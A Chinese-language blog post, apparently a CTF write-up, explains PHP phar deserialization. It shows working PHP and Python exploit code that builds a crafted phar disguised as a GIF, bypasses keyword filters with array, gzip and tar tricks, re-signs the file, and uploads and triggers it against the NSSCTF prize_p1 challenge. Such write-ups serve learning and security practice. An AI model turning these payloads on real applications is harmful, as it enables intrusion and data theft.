phar反序列化

2024-07-28 22:34:14 浏览数 (1)

这篇文章来总结一下phar反序列化

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,可以拓展php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar文件结构

在学习攻击手法之前要先了解一下phar的文件结构。

1. a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3.the file contents

被压缩文件的内容

4.[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾

利用条件
代码语言:javascript复制
 1.phar可以上传到服务器端(存在文件上传)
 2.要有可用的魔术方法作为“跳板”。
 3.操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
demo演示

生成php.ini中需要phar.readonly=off

代码语言:javascript复制
 <?php
 /* 文件名 */
 $phar = new phar("a.phar"); //文件名
 $phar->startBuffering();
 /* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
 $phar->setStub("<?php __HALT_COMPILER(); ?>");
 /* 添加要压缩的文件 */
 $phar->addFromString("test1.txt","test1");
 $phar->addFromString("test2.txt","test2");
 $phar->stopBuffering();
 ?>

php中相当一部分的文件系统函数在通过phar://伪协议解析文件时,都会将meta-data进行反序列化,

代码语言:javascript复制
 <?php 
     class TestObject {
         public function __destruct() {
             echo 'Destruct called';
         }
     }
 ​
     $filename = 'phar://phar.phar/test.txt';
     file_get_contents($filename); 
 ?>

$filename = 'phar://phar.phar/test.txt';定义了一个名为$filename的变量,并将其设置为phar://phar.phar/test.txt,即使用Phar协议来指定一个位于Phar文件内的文件test.txtfile_get_contents($filename);使用file_get_contents函数读取$filename指定的文件内容。由于$filename是使用Phar协议指定的,因此file_get_contents会从phar.phar这个Phar文件中获取test.txt文件的内容。

将phar伪装为其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么就可以通过添加任意的文件头 修改后缀名的方式将phar文件伪装成其他格式的文件。

代码语言:javascript复制
 <?php
     class TestObject {
     }
 ​
     @unlink("phar.phar");
     $phar = new Phar("phar.phar");
     $phar->startBuffering();
     $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
     $o = new TestObject();
     $phar->setMetadata($o); //将自定义meta-data存入manifest
     $phar->addFromString("test.txt", "test"); //添加要压缩的文件
     //签名自动计算
     $phar->stopBuffering();
 ?>

这里是将gif伪装为gif,通过这种方法可以绕过相当一部分的上传检测。

具体利用

有一说一,虽然看了一些文章来了解phar反序列化的作用原理,但是由于没有具体做题以至于对这个反序列化还是一知半解,甚至连怎么做都不知道,不过后来看了bilala师傅的wp才知道该如何下手做。

接下来以nssctf里面的prize_p1为例进行演示。

源代码

代码语言:javascript复制
 <META http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <?php
 highlight_file(__FILE__);
 class getflag {
     function __destruct() {
         echo getenv("FLAG");
     }
 }
 ​
 class A {
     public $config;
     function __destruct() {
         if ($this->config == 'w') {
             $data = $_POST[0];
             if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                 die("我知道你想干吗,我的建议是不要那样做。");
             }
             file_put_contents("./tmp/a.txt", $data);
         } else if ($this->config == 'r') {
             $data = $_POST[0];
             if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                 die("我知道你想干吗,我的建议是不要那样做。");
             }
             echo file_get_contents($data);
         }
     }
 }
 if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
     die("我知道你想干吗,我的建议是不要那样做。");
 }
 unserialize($_GET[0]);
 throw new Error("那么就从这里开始起航吧");

首先是一个getflag类,内容就是输出$FLAG ,触发条件为__destruct; __destruct是析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。 第二个类是A,作用有两个,一个是写文件(file_put_contents),一个是读文件(file_get_contents),写入数据和读取对象都是POST[0]

由于正则匹配对flag有过滤,所以这个不能直接去触发getflag,那么去A类里面找一找,任意文件写入 任意文件读取 类,可以考虑用phar反序列化,

知识点补充
通过gc机制触发__destruct

在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束

②主动调用unset($aa)

③将原先指向类的变量取消对类的引用,即$aa = 其他值;

前两种很好理解,主要来讲讲第三种PHP中的垃圾回收Garbage collection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数,可以通过取消原本对getflag的应用,从而出发对他的析构函数。

php异常

PHP中的错误级别:

代码语言:javascript复制
 致命错误 E_ERROR, 语法错误 E_PARSE, 警告错误 E_WARNING, 通知错误 E_NOTICE

其中前两种会导致程序异常退出(中止),所以程序本该释放内存等这些操作也就无法完成了,也就无法触发析构函数 而后两种只是抛出异常,但仍会继续执行程序

数组绕过preg_match

在题中POST[0]传入数组即可绕过关键字检测,就可以直接写入phar文件的内容了,无需对phar文件做额外处理,然后直接获取flag

phar://支持的后缀

除了.phar可以用phar://读取,gzip bzip2 tar zip 这四个后缀同样也支持phar://读取

guoke师傅的文章

所以在此题中,可以对phar.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。

思路

先传入构造的phar文件内容,但是在传入时我们需要先绕过preg_match的检测(数组绕过或者tar,gzip),传入后我们再利用phar://tmp/a.txt读取文件。读取时,会反序列化其中的metadata数据(我们构造的数据),在反序列化a:2:{i:0;O:7:"getflag":0:{}i:0;N;}时,又会因为类被取消引用从而触发GC,从而触发getflag类的析构函数,从而获取flag

制作phar文件

操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag

修改phar文件

但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;}

代码语言:javascript复制
 <?php
 class getflag{
 }
 $a = new getflag();
 $a = array(0=>$a,1=>null);
 @unlink("phar.phar");
 $phar = new Phar("phar.phar"); //后缀名必须为phar
 $phar->startBuffering();
 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
 $phar->setMetadata($a); //将自定义的meta-data存入manifest
 $phar->addFromString("test.txt", "test"); //添加要压缩的文件(随便填)
 //签名自动计算
 $phar->stopBuffering();
 ?>

注意修改配置文件php.ini中的phar的readonlyoff并去掉这行前边的分号

用16进制编辑器进行修改,修改为30,这样meta-data就会变为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}了

注意不要用记事本直接进行修改,用记事本进行修改的话,修改的数字连同后面的对应的签名都会被修改。

修改phar签名

phar文件时修改完成了,但是这个phar文件并不是完好的,因为数据与后面的签名时对应不上的。这里就需要通过手动进行修改。

脚本

代码语言:javascript复制
 from hashlib import sha1
 with open("phar.phar",'rb') as f:
    text=f.read()
    main=text[:-28]        #正文部分(除去最后28字节)
    end=text[-8:]          #最后八位也是不变的    
    new_sign=sha1(main).digest()
    new_phar=main new_sign end
    open("phar.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件
 ​
数组绕过

完成上述的操作可以获得一个meta-data部分存在可控代码的phar文件,在POST[0]时传入数组即可

脚本

代码语言:javascript复制
import requests
import re

url="http://1.14.71.254:28517/"

### 写入phar文件
with open("phar.phar",'rb') as f:
    data1={'0[]':f.read()}          #传数组绕过,值就是phar.phar文件的内容
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    res1 = requests.post(url=url, params=param1,data=data1)

### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF{.*?}').findall(res2.text)
print(flag)
gzip绕过

先获得一个meta-data部分存在可控代码的phar文件,接着执行gzip phar.phar对这个文件进行压缩,接着利用数组绕过的脚本上传即可,注意修改文件名

当然,利用脚本直接完成gzip压缩和后面一系列操作也是可以的。

脚本

代码语言:javascript复制
import requests
import re
import gzip

url="http://1.14.71.254:28517/"

### 先将phar文件变成gzip文件
with open("phar.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)

### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF{.*?}').findall(p2.text)       
print(flag)
tar绕过

先新建一个.phar文件夹,在文件夹中新建.metadata文件,内容直接写入a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

将文件夹拖入Linux中,tar -cf tartest.tar .phar/生成新文件后再对新文件gzip一下得到tartest.tar.gz文件,再POST这个文件的内容,再读取获得flag

.phar在Linux中显示为隐藏文件,所以拖入后可能会看不见,利用ls -al可以看到

参考资料

https://paper.seebug.org/680/#21-phar

https://bilala.gitee.io/2022/04/01/prize1/

https://guokeya.github.io/post/uxwHLckwx/

0 人点赞